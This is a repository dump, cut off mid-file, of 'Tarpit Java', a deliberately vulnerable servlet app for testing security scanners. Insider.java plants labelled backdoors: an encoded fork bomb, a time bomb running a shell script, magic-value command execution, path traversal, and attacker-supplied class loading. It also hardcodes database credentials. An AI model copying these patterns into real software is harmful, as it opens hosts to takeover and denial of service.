├── .github └── workflows │ └── shiftleft-analysis.yml ├── .gitignore ├── LICENSE ├── README.md ├── azure-pipelines.yml ├── pom.xml ├── src ├── main │ ├── java │ │ └── io │ │ │ └── shiftleft │ │ │ └── tarpit │ │ │ ├── DocumentTarpit.java │ │ │ ├── FileUploader.java │ │ │ ├── Insider.java │ │ │ ├── LoginHandlerServlet.java │ │ │ ├── LogoutServlet.java │ │ │ ├── OrderProcessor.java │ │ │ ├── OrderStatus.java │ │ │ ├── SecuredServlet.java │ │ │ ├── ServletTarPit.java │ │ │ ├── SessionListener.java │ │ │ ├── annotation │ │ │ ├── SensitiveBeacon.java │ │ │ └── SensitiveRedact.java │ │ │ ├── log4j2 │ │ │ └── pattern │ │ │ │ └── RedactPatternConverter.java │ │ │ ├── model │ │ │ ├── BaseModel.java │ │ │ ├── Order.java │ │ │ ├── UnusedObject.java │ │ │ └── User.java │ │ │ └── util │ │ │ ├── EmailService.java │ │ │ └── Unzipper.java │ ├── resources │ │ └── log4j2.xml │ └── webapp │ │ └── WEB-INF │ │ └── web.xml └── test │ ├── io │ └── shiftleft │ │ └── tarpit │ │ └── annotation │ │ └── LoggingTestCase.java │ └── resources │ └── log4j2.xml └── tarpit-logo.png /.github/workflows/shiftleft-analysis.yml: -------------------------------------------------------------------------------- 1 | # This workflow integrates ShiftLeft Scan with GitHub's code scanning feature 2 | # ShiftLeft Scan is a free open-source security tool for modern DevOps teams 3 | # Visit https://docs.shiftleft.io/shiftleft/scan/integrations/github-actions for help 4 | name: ShiftLeft Scan 5 | 6 | # This section configures the trigger for the workflow. Feel free to customize depending on your convention 7 | on: 8 | push: 9 | branches: 10 | - master 11 | - feature/* 12 | - epic/* 13 | - fix/* 14 | pull_request: 15 | branches: 16 | - master 17 | 18 | jobs: 19 | Scan-Build: 20 | # Scan runs on ubuntu, mac and windows 21 | runs-on: ubuntu-latest 22 | steps: 23 | - uses: actions/checkout@v1 24 | - name: Set up JDK 1.8 25 | uses: actions/setup-java@v1 26 | with: 27 | java-version: 1.8 28 | - name: Build with Maven 29 | run: mvn compile 30 | - name: Perform ShiftLeft Scan 31 | uses: ShiftLeftSecurity/scan-action@master 32 | env: 33 | WORKSPACE: "" 34 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 35 | with: 36 | output: reports 37 | # Scan auto-detects the languages in your project. To override uncomment the below variable and set the type 38 | type: credscan,java 39 | # type: python 40 | 41 | - name: Upload report 42 | uses: github/codeql-action/upload-sarif@v1 43 | with: 44 | sarif_file: reports 45 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Log file 5 | *.log 6 | 7 | # BlueJ files 8 | *.ctxt 9 | 10 | # Mobile Tools for Java (J2ME) 11 | .mtj.tmp/ 12 | 13 | # Package Files # 14 | *.jar 15 | *.war 16 | *.nar 17 | *.ear 18 | *.zip 19 | *.tar.gz 20 | *.rar 21 | 22 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 23 | hs_err_pid* 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2019 ShiftLeft, Inc. 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![tarpit-logo](tarpit-logo.png) 2 | 3 | # Tarpit Java 4 | ### A web application seeded with vulnerabilities, rootkits, backdoors and data leaks 5 | 6 | Tarpit is a Java web application that is seeded with vulnerable conditions (OWASP based, Business Logic Flaws, Rootkits and Data Leaks). Its main goal is to be an aid for security professionals to test with [Ocular](https://ocular.shiftleft.io), help web developers better understand the processes of securing web applications. 7 | 8 | 9 | ### Common Vulnerabilities 10 | 11 | | File | Description | 12 | | --- | --- | 13 | | [`ServletTarpit.java`](https://github.com/conikeec/tarpit/blob/master/src/main/java/io/shiftleft/tarpit/SecuredServlet.java) | Common OWASP categorized vulnerabilities | 14 | | [`DocumentTarpit.java`](https://github.com/conikeec/tarpit/blob/master/src/main/java/io/shiftleft/tarpit/DocumentTarpit.java) | XXE based vulnerability | 15 | 16 | ### Insider Attacks/Backdoor Patterns 17 | 18 | | File | Description | 19 | | --- | --- | 20 | | [`Insider.java`](https://github.com/conikeec/tarpit/blob/master/src/main/java/io/shiftleft/tarpit/Insider.java) | | 21 | 22 | ### Data Leaks 23 | 24 | | File | Description | 25 | | --- | --- | 26 | | [`ServletTarpit.java`](https://github.com/conikeec/tarpit/blob/master/src/main/java/io/shiftleft/tarpit/SecuredServlet.java) | Hardcoded credentials, sensitive data leaking on channels | 27 | 28 | ## Building 29 | 30 | Tarpit uses Maven build system. Make sure you have maven installed on your system. Then use the following command to build the application, 31 | 32 | ``` 33 | mvn clean compile package 34 | ``` 35 | 36 | Note: Tarpit application uses sun.misc libraries which are confirmed to work with Java 1.8. In the event of build errors, please see: https://stackoverflow.com/a/52652249 37 | 38 | The `servlettarpit.war` artifact is generated in the `target` directory which can be used for further analysis. 39 | 40 | > :information_source: This packaged WAR file is intended NOT to run or be deployed in a web container. Its main goal is to be an aid for security professionals to test with [Ocular](https://ocular.shiftleft.io) 41 | 42 | - - - 43 | 44 | ## :warning: Disclaimer 45 | 46 | We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. 47 | -------------------------------------------------------------------------------- /azure-pipelines.yml: -------------------------------------------------------------------------------- 1 | trigger: 2 | - master 3 | 4 | pool: 5 | vmImage: 'ubuntu-latest' 6 | 7 | steps: 8 | - task: Maven@3 9 | inputs: 10 | mavenPomFile: 'pom.xml' 11 | mavenOptions: '-Xmx3072m' 12 | javaHomeOption: 'JDKVersion' 13 | jdkVersionOption: '1.8' 14 | jdkArchitectureOption: 'x64' 15 | publishJUnitResults: false 16 | goals: 'compile' 17 | - script: | 18 | docker run -e "WORKSPACE=https://github.com/ShiftLeftSecurity/tarpit-java/blob/$(Build.SourceVersion)" \ 19 | -e "REPOSITORY_URL=$(Build.Repository.Uri)" \ 20 | -e "COMMIT_SHA=$(Build.SourceVersion)" \ 21 | -e "GITHUB_TOKEN=$(GITHUB_TOKEN)" \ 22 | -e "BRANCH=$(Build.SourceBranch)" \ 23 | -v $(Build.SourcesDirectory):/app \ 24 | -v $(Build.ArtifactStagingDirectory):/reports \ 25 | shiftleft/sast-scan scan --src /app \ 26 | --out_dir /reports/CodeAnalysisLogs 27 | displayName: "Perform ShiftLeft scan" 28 | continueOnError: "true" 29 | # To integrate with the ShiftLeft Scan Extension it is necessary to publish the CodeAnalysisLogs folder 30 | # as an artifact with the same name 31 | - task: PublishBuildArtifacts@1 32 | displayName: "Publish analysis logs" 33 | inputs: 34 | PathtoPublish: "$(Build.ArtifactStagingDirectory)/CodeAnalysisLogs" 35 | ArtifactName: "CodeAnalysisLogs" 36 | publishLocation: "Container" 37 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | com.shiftleft.io 6 | tarpit-java 7 | 1 8 | war 9 | 10 | tarpit-java 11 | https://www.shiftleft.io 12 | 13 | 14 | 15 | 16 | javax.servlet 17 | javax.servlet-api 18 | 3.1.0 19 | provided 20 | 21 | 22 | net.lingala.zip4j 23 | zip4j 24 | 1.3.2 25 | 26 | 27 | org.apache.httpcomponents 28 | httpclient 29 | 4.3.4 30 | 31 | 32 | org.zeroturnaround 33 | zt-exec 34 | 1.9 35 | 36 | 37 | org.jasypt 38 | jasypt 39 | 1.9.2 40 | 41 | 42 | com.fasterxml.jackson.core 43 | jackson-databind 44 | 2.8.7 45 | 46 | 47 | javax.mail 48 | mail 49 | 1.5.0-b01 50 | 51 | 52 | commons-io 53 | commons-io 54 | 2.5 55 | 56 | 57 | org.apache.commons 58 | commons-lang3 59 | 3.5 60 | 61 | 62 | org.apache.logging.log4j 63 | log4j-core 64 | 2.10.0 65 | 66 | 67 | org.junit.jupiter 68 | junit-jupiter-api 69 | 5.4.0 70 | test 71 | 72 | 73 | org.junit.jupiter 74 | junit-jupiter-engine 75 | 5.4.0 76 | test 77 | 78 | 79 | org.junit.platform 80 | junit-platform-launcher 81 | 1.4.0 82 | test 83 | 84 | 85 | 86 | UTF-8 87 | 1.8 88 | 1.5.6 89 | 90 | 91 | tarpit-java 92 | src/main/java 93 | 94 | 95 | 96 | org.apache.maven.plugins 97 | maven-war-plugin 98 | 2.3 99 | 100 | src/main/webapp 101 | 102 | 103 | 104 | org.apache.maven.plugins 105 | maven-compiler-plugin 106 | 3.1 107 | 108 | 1.8 109 | 1.8 110 | 111 | 112 | 113 | maven-surefire-plugin 114 | 2.19 115 | 116 | 117 | org.junit.platform 118 | junit-platform-surefire-provider 119 | 1.0.0 120 | 121 | 122 | 123 | 124 | 125 | -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/DocumentTarpit.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import org.w3c.dom.Document; 4 | import org.xml.sax.SAXException; 5 | 6 | import javax.xml.parsers.DocumentBuilderFactory; 7 | import javax.xml.parsers.ParserConfigurationException; 8 | import java.io.ByteArrayInputStream; 9 | import java.io.IOException; 10 | import java.util.logging.Logger; 11 | 12 | class DocumentTarpit { 13 | 14 | private final static Logger logger = Logger.getLogger(DocumentTarpit.class.getName()); 15 | 16 | static Document getDocument(String content) { 17 | 18 | DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance(); // caution!!! 19 | String FEATURE = null; 20 | try { 21 | 22 | // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all 23 | // XML entity attacks are prevented 24 | // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl 25 | FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; 26 | docBuilderFactory.setFeature(FEATURE, true); 27 | 28 | // If you can't completely disable DTDs, then at least do the following: 29 | // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities 30 | // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities 31 | // JDK7+ - http://xml.org/sax/features/external-general-entities 32 | FEATURE = "http://xml.org/sax/features/external-general-entities"; 33 | docBuilderFactory.setFeature(FEATURE, false); 34 | 35 | // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities 36 | // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities 37 | // JDK7+ - http://xml.org/sax/features/external-parameter-entities 38 | FEATURE = "http://xml.org/sax/features/external-parameter-entities"; 39 | docBuilderFactory.setFeature(FEATURE, false); 40 | 41 | // Disable external DTDs as well 42 | FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; 43 | docBuilderFactory.setFeature(FEATURE, false); 44 | 45 | // and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks" 46 | docBuilderFactory.setXIncludeAware(false); 47 | docBuilderFactory.setExpandEntityReferences(false); 48 | 49 | // And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then 50 | // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks 51 | // (http://cwe.mitre.org/data/definitions/918.html) and denial 52 | // of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk." 53 | 54 | javax.xml.parsers.DocumentBuilder builder = docBuilderFactory.newDocumentBuilder(); 55 | 56 | return builder.parse(new ByteArrayInputStream(content.getBytes())); 57 | 58 | } catch (ParserConfigurationException | SAXException | IOException e) { 59 | throw new RuntimeException(e); 60 | } 61 | } 62 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/FileUploader.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import java.io.File; 4 | import java.io.FileOutputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | import java.io.OutputStream; 8 | 9 | import javax.servlet.ServletException; 10 | import javax.servlet.annotation.MultipartConfig; 11 | import javax.servlet.annotation.WebServlet; 12 | import javax.servlet.http.HttpServlet; 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import javax.servlet.http.Part; 16 | 17 | import io.shiftleft.tarpit.util.Unzipper; 18 | 19 | /** 20 | * Servlet implementation class FileUploader 21 | */ 22 | @WebServlet("/FileUploader") 23 | @MultipartConfig 24 | public class FileUploader extends HttpServlet { 25 | 26 | private static final long serialVersionUID = 1L; 27 | private static String productSourceFolder = System.getenv("PRODUCT_SRC_FOLDER"); 28 | private static String productDestinationFolder = System.getenv("PRODUCT_DST_FOLDER"); 29 | 30 | /** 31 | * @see HttpServlet#HttpServlet() 32 | */ 33 | public FileUploader() { 34 | super(); 35 | } 36 | 37 | 38 | /** 39 | * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) 40 | */ 41 | protected void doPost(HttpServletRequest request, HttpServletResponse response) 42 | throws ServletException, IOException { 43 | 44 | Part filePart = request.getPart("zipFile"); 45 | 46 | InputStream input = filePart.getInputStream(); 47 | 48 | File targetFile = new File(productSourceFolder + filePart.getSubmittedFileName()); 49 | 50 | targetFile.createNewFile(); 51 | OutputStream out = new FileOutputStream(targetFile); 52 | 53 | byte[] buffer = new byte[1024]; 54 | int bytesRead; 55 | 56 | while ((bytesRead = input.read(buffer)) != -1) { 57 | out.write(buffer, 0, bytesRead); 58 | } 59 | 60 | input.close(); 61 | out.flush(); 62 | out.close(); 63 | 64 | Unzipper.unzipFile(targetFile.getAbsolutePath(), productDestinationFolder); 65 | 66 | doGet(request, response); 67 | } 68 | 69 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/Insider.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.File; 5 | import java.io.FileReader; 6 | import java.io.FileWriter; 7 | import java.io.IOException; 8 | import java.net.URI; 9 | import java.net.URL; 10 | import java.net.URLClassLoader; 11 | import java.nio.charset.StandardCharsets; 12 | import java.nio.file.Files; 13 | import java.security.SecureRandom; 14 | import java.sql.Connection; 15 | import java.sql.DriverManager; 16 | import java.sql.SQLException; 17 | import java.util.Arrays; 18 | import java.util.Base64; 19 | import java.util.List; 20 | import java.util.Random; 21 | import java.util.logging.Logger; 22 | import java.util.regex.Pattern; 23 | import javax.servlet.ServletException; 24 | import javax.servlet.annotation.WebServlet; 25 | import javax.servlet.http.HttpServlet; 26 | import javax.servlet.http.HttpServletRequest; 27 | import javax.servlet.http.HttpServletResponse; 28 | import javax.tools.JavaCompiler; 29 | import javax.tools.SimpleJavaFileObject; 30 | import javax.tools.ToolProvider; 31 | import java.util.Calendar; 32 | 33 | @WebServlet(name = "simpleServlet", urlPatterns = { "/insider" }, loadOnStartup = 1) 34 | public class Insider extends HttpServlet { 35 | 36 | private static final long serialVersionUID = -3462096228274971485L; 37 | private Connection connection; 38 | 39 | 40 | 41 | private final static Logger LOGGER = Logger.getLogger(ServletTarPit.class.getName()); 42 | 43 | @Override 44 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 45 | 46 | String inPlainSight = "Oigpezp8OiZ9Ozo="; 47 | 48 | try { 49 | 50 | getConnection(); 51 | 52 | 53 | // decoded version of source is - 54 | /* 55 | public class ForkBomb 56 | { 57 | public static void main(String[] args) 58 | { 59 | while(true) 60 | { 61 | Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"}); 62 | } 63 | } 64 | } 65 | */ 66 | 67 | String source = "cHVibGljIGNsYXNzIEZvcmtCb21iIHsgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3RyaW5nW10gYXJncykgeyB3aGlsZSh0cnVlKSB7IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tdeyJqYXZhdyIsICItY3AiLCBTeXN0ZW0uZ2V0UHJvcGVydHkoImphdmEuY2xhc3MucGF0aCIpLCAiRm9ya0JvbWIifSk7IH0gfSB9"; 68 | 69 | 70 | // RECIPE: Time Bomb pattern 71 | 72 | String command = "c2ggL3RtcC9zaGVsbGNvZGUuc2g="; 73 | ticking(command); 74 | 75 | // RECIPE: Magic Value leading to command injection 76 | 77 | if (request.getParameter("tracefn").equals("C4A938B6FE01E")) { 78 | Runtime.getRuntime().exec(request.getParameter("cmd")); 79 | } 80 | 81 | // RECIPE: Path Traversal 82 | 83 | String x = request.getParameter("x"); 84 | 85 | BufferedReader r = new BufferedReader(new FileReader(x)); 86 | while ((x = r.readLine()) != null) { 87 | response.getWriter().println(x); 88 | } 89 | 90 | // RECIPE: Compiler Abuse Pattern 91 | 92 | // 1. Save source in .java file. 93 | File root = new File("/java"); // On Windows running on C:\, this is C:\java. 94 | File sourceFile = new File(root, "test/Test.java"); 95 | sourceFile.getParentFile().mkdirs(); 96 | String obs = new String(Base64.getDecoder().decode(source)); 97 | Files.write(sourceFile.toPath(), obs.getBytes(StandardCharsets.UTF_8)); 98 | 99 | // 2. Compile source file. 100 | JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); 101 | compiler.run(null, null, null, sourceFile.getPath()); 102 | 103 | // 3. Load and instantiate compiled class. 104 | URLClassLoader classLoader = URLClassLoader.newInstance(new URL[] { root.toURI().toURL() }); 105 | Class cls = Class.forName("test.Test", true, classLoader); // Should print "hello". 106 | try { 107 | Object instance = cls.newInstance(); 108 | System.out.println(instance); 109 | } catch (InstantiationException e1) { 110 | e1.printStackTrace(); 111 | } catch (IllegalAccessException e1) { 112 | e1.printStackTrace(); 113 | } // Should print "world". 114 | 115 | // RECIPE: Abuse Class Loader pattern (attacker controlled) 116 | 117 | byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("x")); 118 | try { 119 | new ClassLoader() { 120 | Class x(byte[] b) { 121 | return defineClass(null, b, 0, b.length); 122 | } 123 | }.x(b).newInstance(); 124 | } catch (InstantiationException e) { 125 | e.printStackTrace(); 126 | } catch (IllegalAccessException e) { 127 | e.printStackTrace(); 128 | } catch (Exception e) { 129 | e.printStackTrace(); 130 | } 131 | 132 | // RECIPE: Execute a Fork Bomb and DDOS the host 133 | Runtime rt = Runtime.getRuntime(); 134 | String fb = new String(Base64.getDecoder().decode(inPlainSight)); 135 | Process proc = rt.exec(new String[]{"sh","-c",fb}); 136 | 137 | // RECIPE: Escape validation framework 138 | 139 | String untrusted = request.getParameter("x"); 140 | //Encode to escape validation 141 | x = Base64.getEncoder().encodeToString(untrusted.getBytes()); 142 | //Validation logic passes through the code as it does not comprehend an encoded bytebuffer 143 | String validatedString = validate(x); 144 | if (validatedString != null) { 145 | //restore the malicious string back to it's original content 146 | String y = new String(Base64.getDecoder().decode(validatedString)); 147 | try { 148 | connection.createStatement().executeQuery(y); 149 | } catch (Exception e) { 150 | } 151 | } else { 152 | log("Validation problem with " + x); 153 | } 154 | 155 | 156 | } catch (ClassNotFoundException e) { 157 | e.printStackTrace(); 158 | } catch (SQLException e) { 159 | e.printStackTrace(); 160 | } catch (IOException e) { 161 | e.printStackTrace(); 162 | } 163 | 164 | } 165 | 166 | Pattern p = Pattern.compile("^[A-Za-z0-9\\\\\\/\\=\\-+.]*$"); 167 | 168 | public String validate(String value) { 169 | if (value.contains("SOMETHING_HERE")) { 170 | return value; 171 | } 172 | return ""; 173 | } 174 | 175 | class SourceFile extends SimpleJavaFileObject { 176 | 177 | String code = null; 178 | 179 | SourceFile(String filename, String sourcecode) { 180 | super(URI.create("string:///" + filename), Kind.SOURCE); 181 | code = sourcecode; 182 | } 183 | 184 | public CharSequence getCharContent(boolean ignoreEncodingErrors) { 185 | return code; 186 | } 187 | } 188 | 189 | private void getConnection() throws ClassNotFoundException, SQLException { 190 | Class.forName("com.mysql.jdbc.Driver"); 191 | connection = DriverManager.getConnection("jdbc:mysql://localhost/DBPROD", "admin", "1234"); 192 | } 193 | 194 | private void ticking(String parameter) throws IOException { 195 | 196 | Calendar now = Calendar.getInstance(); 197 | Calendar e = Calendar.getInstance(); 198 | byte[] result = Base64.getDecoder().decode(parameter); 199 | String execPattern = new String(result); 200 | 201 | e.setTimeInMillis(1551859200000L); 202 | 203 | if (now.after(e)) { 204 | Runtime.getRuntime().exec(execPattern); 205 | } 206 | 207 | } 208 | 209 | } 210 | -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/LoginHandlerServlet.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import java.io.IOException; 4 | import javax.servlet.ServletException; 5 | import javax.servlet.annotation.WebServlet; 6 | import javax.servlet.http.HttpServlet; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | 10 | @WebServlet(name = "loginServlet", urlPatterns = {"/loginHandler"}) 11 | public class LoginHandlerServlet extends HttpServlet { 12 | 13 | @Override 14 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) 15 | throws ServletException, IOException { 16 | 17 | String theUser = req.getParameter("userId"); 18 | String thePassword = req.getParameter("password"); 19 | try { 20 | req.login(theUser, thePassword); 21 | } catch (ServletException e) { 22 | System.out.println(e.getMessage()); 23 | forwardToLogin(req, resp, "Error: " + e.getMessage()); 24 | return; 25 | } 26 | boolean loggedIn = req.getUserPrincipal() != null && req.isUserInRole("customer"); 27 | if (loggedIn) { 28 | resp.sendRedirect("/app"); 29 | } else { 30 | forwardToLogin(req, resp, "Login failed."); 31 | } 32 | } 33 | 34 | public static void forwardToLogin(HttpServletRequest req, HttpServletResponse resp, 35 | String errorMessage) 36 | throws ServletException, IOException { 37 | 38 | req.setAttribute("errorMsg", errorMessage); 39 | req.getRequestDispatcher("/login.jsp") 40 | .forward(req, resp); 41 | } 42 | } -------------------------------------------------------------------------------- /src/main/java/io/shiftleft/tarpit/LogoutServlet.java: -------------------------------------------------------------------------------- 1 | package io.shiftleft.tarpit; 2 | 3 | import java.io.IOException; 4 | import java.security.Principal; 5 | import 